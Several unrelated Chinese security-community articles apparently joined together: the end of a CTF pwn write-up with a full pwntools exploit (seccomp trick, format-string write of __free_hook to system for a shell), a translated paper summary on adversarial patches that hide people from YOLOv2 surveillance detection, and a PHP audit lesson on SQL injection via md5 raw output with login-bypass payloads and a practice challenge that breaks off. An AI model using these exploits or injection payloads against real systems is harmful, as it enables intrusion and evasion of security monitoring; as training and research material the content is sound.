└─[$] <> ./secret_center
Welcome to Secret Center!
[*]Reinforcable Secret Service..
[1] show secret on Server
[2] input my secret
[3] delete my secret
[4] Guard Ready
[5] Set Guard
[6] edit my secret
[7] exit
>
2
Secret Size:
123
Content:
%n
Not Good Secret :P
*** %n in writable segment detected ***
[1] 42169 abort (core dumped) ./secret_center
可以看到%n被检测出来，可以看一下检测的逻辑在glibc-2.23\stdio-common\vfprintf.c line 892
if (! readonly_format) \
{ \
extern int __readonly_area (const void *, size_t) \
attribute_hidden; \
readonly_format \
= __readonly_area (format, ((STR_LEN (format) + 1) \
* sizeof (CHAR_T))); \
} \
if (readonly_format < 0) \
__libc_fatal ("*** %n in writable segment detected ***\n"); \
}
可以看到readonly _format是一个全局变量，当format不通过\_ _readonly_area检测时，会返回一个负数，从而导致程序结束。
再看一下__readonly_area(\glibc-2.23\sysdeps\unix\sysv\linux\readonly-area.c)，通过fopen打开"/proc/self/maps"，来判断ptr是否是只读段，这样我们好像只要让fprintf_chk认为format是只读段就可以了。
由于我们没有其他权限，不能修改"/proc/self/maps"，可以看能否从fopen中做文章。
## fopen
提到fopen就不得不提到一个结构体__IO_FILE，这个结构体在IO利用方法里经常遇到，与通常open打开的文件不同的是，其为每个文件定义了缓冲区和虚表函数，而利用_fileno来判定是哪个文件，如stdin._fileno=0。
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
而fopen中真正打开并填写fileno字段的函数在\libio\fileops.c中，
_IO_FILE *
_IO_file_open (_IO_FILE *fp, const char *filename, int posix_mode, int prot,
int read_write, int is32not64)
{
int fdesc;
#ifdef _LIBC
if (__glibc_unlikely (fp->_flags2 & _IO_FLAGS2_NOTCANCEL))
fdesc = open_not_cancel (filename,
posix_mode | (is32not64 ? 0 : O_LARGEFILE), prot);
else
fdesc = open (filename, posix_mode | (is32not64 ? 0 : O_LARGEFILE), prot);
#else
fdesc = open (filename, posix_mode, prot);
#endif
if (fdesc < 0)
return NULL;
fp->_fileno = fdesc;
...
}
由于我们可以控制seccomp从而控制系统调用的访问，我们可以将此次打开返回ERROR
，而此时，open的返回值为0，此时fopen并不认为文件打开失败，而是认为其fileno是0，此时程序会从STDIN中读取数据，进行判断。
既然可以控制程序读入的内容，我们可以输入一个伪造的maps数据，使其认为内存是不可写的，这样就可以绕过判断，构造如下数据：
000000000000-7fffffffffff r-xp 00000000 00:00 0 /bin/p4nda
这样我们可以绕过fprintf_chk判断，利用%n来写数据了。
## 利用思路
### 沙箱构造
我们可以构造这样一个沙箱规则，当遇到系统调用时open时，判断其参数的最后一个字节是否是libc中“/proc/self/maps”的地址，如果是就返回ERROR，否则继续。
后续还有一个坑点，当fopen检查完后，会fclose关闭上述文件，此时用户stdin会被关闭，造成无法后续输入，这样简单，只需把close调用也关闭即可。
最终沙箱规则如下：
A = arch
A == ARCH_X86_64 ? next : dead
A = sys_number
A == close ? dead : next
A == exit_group ? dead : next
A == open ? next : allow
A = args[0]
A &= 0xff
A == 0x7c ? dead : next
allow:
return ALLOW
dead:
return ERRNO(0)
利用seccomp-tools生成这样的规则：
└─[$] <> seccomp-tools asm rule.asm -a amd64 -f raw | seccomp-tools disasm - line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x06 0x00 0x00000003 if (A == close) goto 0010
0004: 0x15 0x05 0x00 0x000000e7 if (A == exit_group) goto 0010
0005: 0x15 0x00 0x03 0x00000002 if (A != open) goto 0009
0006: 0x20 0x00 0x00 0x00000010 A = args[0]
0007: 0x54 0x00 0x00 0x000000ff A &= 0xff
0008: 0x15 0x01 0x00 0x0000007c if (A == 124) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00050000 return ERRNO(0)
### 格式化字符串
已经知道了如何绕过%n的检测了，由于没有已知的地址，向哪里写数据又是一个问题，先看一下栈上有哪些数据吧
Breakpoint __fprintf_chk
pwndbg> x /40gx $rsp
0x7fffffffd328: 0x0000555555554f4d 0x0000000000000000
0x7fffffffd338: 0x0000007b00000000 0x00000000ff0a7025
0x7fffffffd348: 0x0000000000000000 0x0000000000000000
0x7fffffffd358: 0x0000000000000000 0xff000000ff000000
0x7fffffffd368: 0x0000ff0000000000 0x0000000000000000
0x7fffffffd378: 0x0000000000000000 0x0000000000000000
0x7fffffffd388: 0x00007ffff7b09ef9 0x00007ffff7dd1b20
0x7fffffffd398: 0x0000000000000080 0x0000000000000000
0x7fffffffd3a8: 0x00007ffff7a948c9 0x0000000000000000
0x7fffffffd3b8: 0x00007ffff7a8e86b 0x0000000000000000
0x7fffffffd3c8: 0x00000000000000a0 0x0000000000000fff
0x7fffffffd3d8: 0xfffffffffffff000 0x0000555555757000
0x7fffffffd3e8: 0x0000000000001000 0x00000000f7dd7390
0x7fffffffd3f8: 0x0000000000000000 0x00007fffffffd530
0x7fffffffd408: 0x00007ffff7ffea88 0x00007fffffffd560
0x7fffffffd418: 0x00007fffffffd5c0 0x00000000ffffffff
0x7fffffffd428: 0x00007ffff7dd1b20 0x0000000000000080
0x7fffffffd438: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x7fffffffd448: 0x0000000000002710 0x0000000000000000
0x7fffffffd458: 0x000000000000000a 0x00007fffffffd57c
pwndbg> x /s 0x0000555555757010
0x555555757010: "DwHxGpmDtDevggh"...
可以看到，在0x7fffffffd3e0这里，有一个离secret很近的地址，可以通过低字节修改使其指向secret，这样由于判定条件时，不相等的位置是否等于strlen(secret)，这样只要我们向secret写\0，就可以很容易绕过check了，构造格式化字符串如下：
fmt = ("%256p"*0x19+'%n').ljust(0xa0,'a')
input(0x120,fmt+'\x10')#7
此时可以拿到vmmap内容，后续可以再次通过格式化字符串修改__free_hook为system就可以拿到shell，就是这样的格式化字符串构造有点烦...
堆漏洞也可以利用，不过由于有访问次数的限制，我总是差一次访问，就没有细究这种方法是否可行。
### EXP
from pwn import *
import time
debug=0
elf = ELF('./secret_center')
libc_name = '/lib/x86_64-linux-gnu/libc-2.23.so'
libc = ELF(libc_name)
context.log_level = 'debug'
if debug:
p= process('./secret_center')
else:
#p = remote('106.75.73.20', 8999)#process('./pwn1')
p = remote('127.0.0.1', 10006)
'''
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x06 0x00 0x00000003 if (A == close) goto 0010
0004: 0x15 0x05 0x00 0x000000e7 if (A == exit_group) goto 0010
0005: 0x15 0x00 0x03 0x00000002 if (A != open) goto 0009
0006: 0x20 0x00 0x00 0x00000010 A = args[0]
0007: 0x54 0x00 0x00 0x000000ff A &= 0xff
0008: 0x15 0x01 0x00 0x0000007c if (A == 124) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00050001 return ERRNO(1)
0011: 0x06 0x00 0x00 0x00050001 return ERRNO(1)
'''
def z(a=''):
if debug:
gdb.attach(p,a)
def delete():
p.recvuntil('>\n')
p.sendline('3')
def guard_ready():
p.recvuntil('>\n')
p.sendline('4')
def set_guard():
p.recvuntil('>\n')
p.sendline('5')
def edit(size,content):
p.recvuntil('>\n')
p.sendline('6')
p.recvuntil('size: ')
p.sendline(str(size))
p.recvuntil('Content: \n')
p.send(content)
def input(size,content):
p.recvuntil('>\n')
p.sendline('2')
p.recvuntil('Secret Size: ')
p.sendline(str(size))
p.recvuntil('Content: \n')
p.send(content)
#sleep(0.1)
def rule(code,jt ,jf ,k):
return p16(code) + p8(jt) + p8(jf) + p32(k)
def build_rule():
payload = ''
payload+= rule(0x20 ,0x00, 0x00, 0x00000004) # A = arch
payload+= rule(0x15 ,0x00, 0x08, 0xc000003e) # if (A != ARCH_X86_64) goto 0010
payload+= rule(0x20 ,0x00, 0x00, 0x00000000) # A = sys_number
payload+= rule(0x15 ,0x06, 0x00, 0x00000003) # if (A == close) goto 0010
payload+= rule(0x15 ,0x05, 0x00, 0x000000e7) # if (A == exit_group) goto 0010
payload+= rule(0x15 ,0x00, 0x03, 0x00000002) # if (A != open) goto 0009
payload+= rule(0x20 ,0x00, 0x00, 0x00000010) # A = args[0]
payload+= rule(0x54 ,0x00, 0x00, 0x000000ff) # A &= 0xff
payload+= rule(0x15 ,0x01, 0x00, 0x0000007c) # if (A == 124) goto 0010
payload+= rule(0x06 ,0x00, 0x00, 0x7fff0000) # return ALLOW
payload+= rule(0x06 ,0x00, 0x00, 0x00050000) # return ERRNO(2)
return payload
input(0xF0 ,'p4nda') #1
delete()#2
guard_ready()#3
rule_data = build_rule()#4
edit(len(rule_data),rule_data)#5
set_guard()#6
#z('b fopen\nb __fprintf_chk\nc')
fmt = ("%256p"*0x19+'%n').ljust(0xa0,'a')
input(0x120,fmt+'\x10')#7
p.recvuntil("Not Good Secret :P\n\n")
maps = '000000000000-7fffffffffff r-xp 00000000 00:00 0 /bin/p4nda'
p.sendline(maps)
input(0x68,'\x00')#8
libc_address = 0
heap_address = 0
pie = 0
while 1:
tmp = p.readline()
if "close" in tmp:
tmp+= p.readline()
tmp.replace("It's close.. Try to get a shell!\n",'')
print '[?]',tmp#.split('-')[0]
if ('libc-2.23.so' in tmp):
addr = int('0x'+tmp.split('-')[0],16)
if libc_address == 0:
libc_address = addr
if 'heap' in tmp:
addr = int('0x'+tmp.split('-')[0],16)
if heap_address == 0:
heap_address = addr
if 'secret_center' in tmp:
addr = int('0x'+tmp.split('-')[0],16)
if pie == 0:
pie = addr
if (libc_address*heap_address*pie != 0):
break
print '[+]libc_address',hex(libc_address)
print '[+]heap_address',hex(heap_address)
print '[+]pie',hex(pie)
now = 0
last= 0
fmt = ('%256p'*33)
target = libc_address+libc.symbols['system']
where = libc_address+libc.symbols['__free_hook']
for i in range(6):
now = (target>>(i*8))&0xff
if last<now:
fmt+= '%'+str(now-last)+'c' + '%hhn'
else:
fmt+= '%'+str(0x100+now-last)+'c'+ '%hhn'
last = now
fmt+=';sh'
fmt = fmt.ljust(0xe0,'\0')
for i in range(6):
fmt+= p64(0x31)+p64(where+i)
input(0x150,fmt+'\0')#9
print 'fmt:',hex(len(fmt)),fmt
p.recvuntil('It\'s close.. Try to get a shell!')
p.sendline(maps)
delete()
p.interactive()
总之，题目考察了很多东西，还是很有意思的一道题目，感谢AFang师傅的帮助，此篇被我同步到了[我的blog](http://p4nda.top/2018/11/26/XNUCA-secretcenter/)。 | 社区文章 |
# 欺骗自动监控摄像头：利用对抗性图像块攻击人体检测
##### 译文声明
本文是翻译文章，文章原作者 Simen Thys，Wiebe Van Ranst，Toon Goedeme
原文地址：<https://arxiv.org/abs/1904.08653>
译文仅供参考，具体内容表达以及含义原文为准。
在过去的几年中，对机器学习模型的对抗攻击越来越引起人们的兴趣。通过仅对卷积神经网络的输入进行细微更改，可以输出完全不同的结果。最初的攻击是通过稍微改变输入图像的像素值来欺骗分类器以输出错误类来实现的。
在本文中提出了一种生成对抗图像块的方法，该图像块针对具有许多类内变异的目标，即人。目标是生成一个能够成功地将人隐藏在人体分类器中的图像块。攻击可能被恶意使用，以阻碍现有的监视系统，入侵者可以通过在对准监控摄像机的身体上放一块小纸板来偷偷摸摸。
从结果可以看出，系统大大降低了人体检测的精度。本文的应用程序在现实场景中也能很好地发挥作用，在该场景中，用相机拍摄图像块。本文是第一个对内部等级较高的目标（例如人）进行此类攻击的。
## 0x01 Absert
卷积神经网络（CNN）的兴起在计算机视觉领域取得了巨大的成功。
CNN在其中学习图像的数据驱动的端到端已证明在各种计算机视觉任务中均能获得最佳效果。由于这些体系结构的深度，神经网络能够在网络底部（数据输入的地方）学习非常基础的过滤器，而在顶部学习非常抽象的高级功能。为此，典型的CNN包含数百万个学习到的参数。尽管此方法可生成非常准确的模型，但可解释性却大大降低。确切地理解为什么网络将一个人的图像分类为一个人非常困难。
网络通过查看许多其他人的图片来了解一个人的样子。通过评估模型可以通过将模型与带有人类注释的图像进行比较，来确定该模型在人体检测方面的性能。但是，以这种方式评估模型只能告诉检测器在特定测试集上的表现如何。该测试集通常不包含旨在以错误方式操纵模型的样本，也不包含专门针对欺骗模型的样本。这对于不太可能发生攻击的应用程序（例如，针对老年人跌倒的检测）是很好的，但是在安全系统中却可能带来真正的问题。安全系统的人体检测模型中的漏洞可能用于绕过用于破坏建筑物预防措施的监视摄像机。
在本文中重点介绍了这种对人体检测系统进行攻击的风险。创建了一个小的（约40厘米×40厘米）“对抗性图像块”，用作掩盖设备以将人隐藏在检测器中。下图对此进行了演示。系统源代码可在以下网址获得：<https://gitlab.com/EAVISE/adversarial-yolo>
## 0x02 Related work
随着CNN的普及，在过去的几年中，对CNN的对抗性攻击有所增加。在本节中回顾了这类攻击的历史。首先讨论对分类器的数字攻击，然后再讨论针对人脸识别和对象检测的现实攻击。然后，简要讨论物体检测器YOLOv2，该物体检测器是攻击的目标。
分类任务早在2014年显示了对抗性攻击的存在。之后成功地产生了对分类模型的对抗攻击。使用一种能够欺骗网络的方法来对图像进行误分类，同时仅稍微更改图像的像素值，以使人眼看不到该更改。之后提出一种更快的渐变符号方法，使其更实用（更快）对图像进行对抗攻击，在更大的图像集中找到了可以对网络进行攻击的单个图像。
一种算法可以通过减少图像更改来产生攻击，并且比以前更快。他们使用超平面为输入图像的不同输出类别之间的边界建模。
另一种对抗攻击再次使用优化方法，与已经提到的攻击相比，它们在图像的准确性和差异（使用不同的规范）方面得到了证明，不是更改像素值，而是生成可以以数字方式放置在图像上以欺骗分类器的色块。没有使用一个图像，而是使用各种图像来构建类内鲁棒性。
针对停车牌分类的任务，由于停车牌可能出现的形态不同，它们会生成一个贴纸，然后将其粘贴到停车标志上，以使其无法识别。
还有一种优化3D模型纹理的方法。将不同形态的图像显示给优化器，以增强对不同姿势和光照变化的鲁棒性。然后使用3D打印机打印得到的对象。
用于人脸识别的真实世界对抗攻击中提供了真实世界对抗攻击的示例，使用可蒙骗面部识别系统的印刷眼镜。为了保证健壮性，眼镜需要在各种各样的不同姿势下工作。为此优化了眼镜上的印刷，以使它们可以处理大量图像而不是单个图像。它们还包括非可打印性分数（NPS），该分数可确保图像中使用的颜色可以由打印机表示。
用于物体检测的真实对抗攻击的目标是在Faster
R-CNN检测器中检测停车标志。使用“变换期望”（EOT）（对图像进行各种变换）的概念来增强针对不同姿势的鲁棒性。
与所有针对物体检测器的攻击都将重点放在具有固定视觉模式（如交通标志）的对象上，而不考虑类别内部的变化。以前没有工作提出过一种检测方法，该方法可用于诸如人体之类的多种类别。
本文以流行的YOLOv2物体检测器为目标。
YOLO适用于更大种类的单物体检测器（以及诸如SSD之类的探测器），其中边界框，物体分数和类别分数可通过在网络上单次通过直接预测。
YOLOv2是完全卷积的，将输入的图像传递到网络，在网络中，各个层将其还原为输出网格，其分辨率比原始输入分辨率小32倍。此输出网格中的每个单元格包含五个预测（称为“锚点”），边界框包含不同的宽高比。每个锚点都包含一个向量[xoffset，yoffset，w，h，pobj，pcls1，pcls2，…，pclsn]。
xoffset和yoffset是与当前锚点相比边界框中心的位置，w和h是边界框的宽度和高度，pobj是此锚点包含对象的概率，pcls1至pclsn是使用交叉熵损失学习的对象的类评分。下图显示了此体系结构的概述。
## 0x03 Generating adversarial patches against person detectors
这项工作的目标是创建一个能够生成可打印的对抗图像块的系统，该对抗图像块可用于欺骗人体检测器。如前所述已经表明在现实世界中对目标检测器进行对抗是可能的。本文着重于那些与停车标志的统一外观不同的人体。通过使用优化过程（在图像像素上），尝试找到一个大数据集上的图像块，该图像块有效地降低了人体检测的准确性。在本节中，深入解释了生成这些对抗图像块的过程。
优化目标包括三个部分：
•Lnps非可打印性得分（The non-printability score），代表了普通打印机可以很好地表现出图像块中颜色的好坏。如下：
其中ppatch是图像块P中的一个像素，而cprint是一组可打印颜色C中的一种颜色。这种损失有利于图像中的颜色与该组可打印颜色中的颜色非常接近。
•Ltv（total variation）这种损失确保了优化器偏爱具有平滑颜色过渡的图像，并防止了噪点图像。可以根据图像块P计算Ltv，如下所示：
如果相邻像素相似，则得分较低；如果相邻像素不同，则得分较高。
•Lobj图像中的最大物体分数（The maximum objectness score in the
image.）。数据块的目的是在图像中隐藏人物。为此，训练目标是使检测器输出的物体或类别分数最小化。此分数将在本节稍后部分中详细讨论。
这三部分中的总损失函数如下：
将由经验确定的因子α和β缩放的三个损失的总和，并使用Adam算法进行优化。优化器的目标是使总损耗L最小。在优化过程中，冻结网络中的所有权重，仅更改数据块中的值。在过程开始时，数据块会根据随机值进行初始化。
上图概述了如何计算物体损失。遵循相同的过程来计算类别概率。
### A.最小化检测器输出的概率
YOLOv2物体检测器输出一个单元格网格，每个单元格包含一系列锚点（默认为5个）。每个锚点都包含边界框的位置，目标概率和类别得分。为了使检测器能够忽略人体，使用三种不同的方法进行实验：可以最小化分类人体的分类概率（下图d中的样本数据块，最小化客观评分（下图c）），或者（图b和a）的组合，尝试了所有方法。最小化类得分有将人体类切换到其他类的趋势。在实验中，使用了在MS
COCO数据集上训练的YOLO检测器，发现生成的数据块在COCO数据集中被检测为另一个类别，图a和b是获取类别和目标概率的示例，在图a的情况下，学习到的数据块最终类似于“泰迪熊”类别似乎压倒了“人”类别，但是由于数据块开始类似于另一类，因此
数据块不太能转移到在不包含该类的数据集上训练的其他模型。
### B.准备训练数据
与先前在停车标志上所做的工作相比，为人体类别创建对抗性数据块更具挑战性：
•人的外观变化更大：衣服，肤色，大小，姿势……与总是具有相同八角形且通常是红色的停车标志相比。
•人们可以出现在许多不同的环境中，停车标志大多出现在同一条路的街道旁。
•人的外观会因人朝向相机还是朝向相机而有所不同。
•在可以放置数据块的人体身上没有一致的地方。在停车标志上，可以轻松计算出数据块的确切位置。
在本节中将说明如何应对这些挑战。使用不同人的真实图像，工作流程如下：首先在图像数据集上运行人体目标检测器。这将产生边界框，根据检测器显示人在图像中的位置。然后，在相对于这些边界框的固定位置上，将数据块的当前版本以不同的变换应用于图像。
然后将生成的图像（与其他图像一起）送入检测器。测量仍被检测为人体的分数，将其用于计算损失函数。通过在整个网络上进行反向传播，优化器可以进一步更改色块中的像素，从而使检测器更加笨拙。
这种方法的一个有趣的副作用是不仅限于带注释的数据集。可以将任何视频或图像收集输入目标检测器以生成绑定框。这使系统也可以进行更有针对性的攻击。当从目标环境中获得可用数据时，可以简单地使用素材来生成特定于该场景的数据块。大概比常规数据集更好。
在测试中使用Inria数据集的图像。这些图像更针对全身的行人，更适合于本文的监控摄像头应用。
### C.使数据块更加强大
在本文中，针对必须在现实世界中使用的数据块。这意味着它们首先被打印出来，然后由摄像机拍摄。执行此操作时，有很多因素会影响数据块的外观：灯光可能会改变，数据块可能会略微旋转，数据块相对于人的大小可能会改变，相机可能会增加噪点或使数据块稍微模糊，视角可能会有所不同。
。 。为了尽可能多地考虑这一点，先对数据块进行了一些转换，然后再将其应用于图像。执行以下随机转换：
•数据块每次旋转最多20度
•数据块随机缩放
•随机噪声放在贴片的顶部
•数据块的亮度和对比度随机更改
## 0x04 Results
在本节中评估数据块的有效性。通过使用训练过程中使用的相同过程（包括随机转换）将其应用于Inria测试集来评估数据块。在实验中，试图最小化一些可能隐藏人的不同参数。作为对照，还将结果与包含随机噪声的数据块进行比较，该随机噪声的评估方式与本文随机数据块完全相同。下图显示了不同数据块的结果。
OBJ-CLS的目标是最大程度地减少物体分数和类别分数的乘积，在OBJ中仅物体分数，而在CLS中仅类别分数。
NOISE是随机噪声控制数据块，而CLEAN是没有应用数据块的基线。
（因为通过在数据集上运行相同的检测器生成的边界框，得到了理想的结果。）从此PR曲线中，可以清楚地看到与随机生成的数据块（OBJ-CLS，OBJ和CLS）相比，其影响用作控件的数据块。
还可以看到，与使用类评分相比，最小化对象评分（OBJ）具有最大的影响（最低平均精度（AP））。
确定PR曲线上用于检测的良好工作点的一种典型方法是在PR曲线上绘制一条对角线（上图中的虚线），并查看其与PR曲线相交的位置。如果对CLEAN
PR曲线执行此操作，则可以使用该工作点处的结果阈值作为参考，以查看方法将降低检测器的查全率。换句话说，问一个问题：使用本文的数据块程序可以避免监视系统生成的警报有多少？下表使用上图的缩写显示了该分析的结果。从中可以清楚地看到，使用数据块程序（OBJ-CLS，OBJ和CLS）显着降低了生成警报的数量。
下图显示了应用于Inria测试集中某些图像的数据块样本。首先将YOLOv2检测器应用于没有数据块（行1），具有随机数据块（行2）和生成最佳数据块（OBJ）（行3）的图像。在大多数情况下，数据块程序能够成功地将人体隐藏在检测器中。如果不是这种情况，则贴片未对准人的中心。这可以通过以下事实来解释：在优化过程中，贴片也仅位于边界框确定的人的中心。
在下图中测试了印刷版数据块在现实世界中的运作情况。总的来说，该数据块似乎运行良好。由于贴片在相对于将贴片保持在正确位置的包围盒的固定位置上训练的事实似乎非常重要。可以找到演示视频：<https://youtu.be/MIbFvK2S9g8>
## 0x05 Conclusion
在本文中提出了一种为人体检测器生成对抗数据块的系统，该系统可以打印出来并在现实世界中使用。通过优化图像来最大程度地减少检测器输出中与人的外貌有关的不同概率来做到这一点。在实验中比较了不同的方法，发现最大程度地减少了物体丢失会产生最有效的数据块。
从对打印出的数据块程序进行的实际测试中，还可以看到数据块程序可以很好地将人员隐藏在对物体检测器中，这表明使用类似检测器的安全系统可能会受到这种攻击。
如果将这项技术与复杂的服装模拟相结合，可以设计出T恤印花，从而使人几乎看不见自动监视摄像机（使用YOLO探测器）。
将来希望扩展这项工作。一种方法是对输入数据进行更多（仿射）变换或使用模拟数据（即将贴片作为纹理应用于人的3D模型上）。可以做更多工作的另一个领域是可转移性。当前的数据块不能很好地转移到Faster
R-CNN 之类的完全不同的体系结构上，同时针对不同的体系结构进行优化可能会对此有所改善。 | 社区文章 |
本文由红日安全成员： **l1nk3r** 编写，如有不当，还望斧正。
## 前言
大家好，我们是红日安全-代码审计小组。最近我们小组正在做一个PHP代码审计的项目，供大家学习交流，我们给这个项目起了一个名字叫 [**PHP-Audit-Labs**](https://github.com/hongriSec/PHP-Audit-Labs) 。现在大家所看到的系列文章，属于项目
**第一阶段** 的内容，本阶段的内容题目均来自 [PHP SECURITY CALENDAR
2017](https://www.ripstech.com/php-security-calendar-2017/)
。对于每一道题目，我们均给出对应的分析，并结合实际CMS进行解说。在文章的最后，我们还会留一道CTF题目，供大家练习，希望大家喜欢。下面是 **第17篇**
代码审计文章：
## Day 17 - Turkey Baster
题目代码如下：
这题实际上和我们之前分析 **Day13** 很相似，从 **第17行-20行** 代码中明显存在SQL语句拼接的形式，而 **$pass** 变量和
**$user** 变量是在 **第30-31行** 中通过 **POST**
方式由用户进行控制。这里很明显存在SQL注入漏洞，所以这题应该是考察SQL注入漏洞。
这里为什么说这题和 **Day13** 很相似呢，我们继续往下看。程序代码 **第14行** 调用 **sanitizeInput** 函数针对用户输入的
**$user** 变量进行了处理，跟进一下 **sanitizeInput** 函数，在 **第25行** 找到这个函数，这个函数的作用就是调用
**addslashes** 函数针对输入数据进行处理。 **addslashes** 函数定义如下：
> [addslashes](http://php.net/manual/zh/function.addslashes.php) — 使用反斜线引用字符串
>
>
> string addslashes ( string $str )
>
>
> 作用：在单引号（'）、双引号（"）、反斜线（\）与 NUL（ **NULL** 字符）字符之前加上反斜线。
所以按照这种情况下这个地方，似乎不存在注入点了，先别急，我们继续往下看，我们看到 **第13行** 代码针对用户输入 **password** 的值调用
**md5** 函数进行相关处理。我们先来了解一下这个 **md5** 函数
> [md5](http://php.net/manual/zh/function.md5.php) — 计算字符串的 MD5 散列值
>
>
> string md5 ( string $str [, bool $raw_output = false ] )
>
我们看到题目中的代码是这样的
$pass = md5($this->password, true);
这里在 **$raw_output** 位置设置为了true，根据描述
> 如果可选的 `raw_output` 被设置为 **TRUE** ，那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。
那我们先来看看效果
现在整理一下这道题，我们知道我可以控制的点有两个变量，一个是 **$user** ，一个是 **$pass** ， **$pass** 经过了
**md5** 的处理，但是返回字段不是标准的md5值， **$user** 经过了 **addslashes**
函数的处理，无法引入特殊符号去闭合。这里做个假设，如果我们经过 **$pass = md5($this- >password, true);**
处理之后的值逃逸出一个反斜杆，那么实际上带入到数据库的值就如下所示：
select count(p) from user s where password='xxxxxx\' and user='xxx#'
如果这种情况发生，实际上也存在了SQL注入。我们尝试fuzz一下，看看会不会存在某个值经过了 **md5(xxx, true)**
处理之后，最后一位是反斜杠。
我们针对1-1000进行一下fuzz，发现 **md5(128, true)** 最后的结果带有反斜杠。因此这题最后的payload如下：
user= OR 1=1#&passwd=128
带入到数据库查询的语句如下：
select count(p) from user s where password='v�a
n���l���q��\' and user=' OR 1=1#'
最后我们之前 **Day13** 也是通过逃逸反斜杆，转义单引号，从而逃逸出一个单引号闭合了之前的SQL语句，之前 **Day13**
的payload如下所示：
select count(p) from user where user = '1234567890123456789\' AND password = 'or 1=1#'
这里也是因为SQL语句中有两个地方可控，因此，我们也可以通过这个办法造成SQL注入的问题，所以我才会说这道题实际上和 **Day13** 很相似。
## 实例分析
由于找不到由 **md5(xxx,true)**
函数引起的漏洞实例，所以本次实例分析选择实验吧的一道CTF题目，进行分析，[题目地址](http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php)。
首先打开该题目提示后台登陆，猜测可能是个注入的题目，先看看有没有相关信息泄漏，右键源代码，发现泄漏的登陆逻辑代码。
从上图中的代码中的 **第5行** 可以看到，当查询结果返回大于0的时候，就会输出 **flag** ，我们前面分析过当 **md5** 函数的
**$raw_output** 设置会true的时候， **md5**
函数返回前16字节长度的原始二进制，然后再将二进制转换成字符串，这种情况下可能会引入单引号等特殊字符。
有人尝试过破解这个类型的字符，目前已知两个是 **ffifdyop** 和
**129581926211651571912466741651878684928** ，我们来看看实际效果。
所以实际上这里就会导致了SQL注入
原先：SELECT * FROM admin WHERE username = 'admin' and password = 'md5($password,true)'
变成：SELECT * FROM admin WHERE username = 'admin' and password = ''or'6\xc9]\x99'
由于 **and** 运算符优先级比 **or** 高，所以前面的： **username = 'admin' and password = ''**
会先执行，然后将执行结果与后面的 **'6\xc9]\x99'** 进行 **or** 运算。在布尔运算中，除了 **0、'0'、false、null**
，其余结果都为真。所以整个 **SQL** 语句的 **where** 条件判断部分为真，这样可定就能查出数据，类似如下：
## 漏洞验证
所以最后两个payload都可以解出题目。
## 修复建议
建议在使用 **md5** 函数的时候，不要将 **$raw_output** 字段设置为 **true** 。
## 结语
看完了上述分析，不知道大家是否对 **md5** 函数在使用过程中可能产生的问题，有了更加深入的理解，文中用到的题目可以从
[这里](http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php)
进行练习，当然文中若有不当之处，还望各位斧正。如果你对我们的项目感兴趣，欢迎发送邮件到 [email protected] 联系我们。
**Day17** 的分析文章就到这里，我们最后留了一道CTF题目给大家练手，题目如下：
//index.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body style="background-color: #999">
<div style="position:relative;margin:0 auto;width:300px;height:200px;padding-top:100px;font-size:20px;">
<form action="" method="post">
<table>
<tr>
请用管理员密码进行登录~~
</tr>
<tr>
<td>密码：</td><td><input type="text" name='password'></td>
</tr>
<tr>
<td><input type="submit" name='submit' style="margin-left:30px;"></td>
</tr>
</table>
</form>
</div>
<!-- $password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'you are admin ';
}
else{
echo '密码错误!';
} -->
</body>
</html>
<?php
require 'db.inc.php';
$password=$_POST['password'];
$sql = "SELECT * FROM ctf.users WHERE username = 'admin' and password = '".md5($password,true)."'";
#echo $sql;
$result=mysql_query($sql);
if(mysql_num_rows($result)>0){
echo 'you are admin ';
if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);
}
else{
echo '密码错误!';
}
?>
//config.php
<?php
$option='test';
?>
//ctf.sql
DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (
`Id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) DEFAULT NULL,
`password` varchar(255) DEFAULT NULL,
PRIMARY KEY (`Id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;
INSERT INTO `users` VALUES (1,'admin','qwer!@#zxca');
//db.inc.php
<?php
$mysql_server_name="localhost";
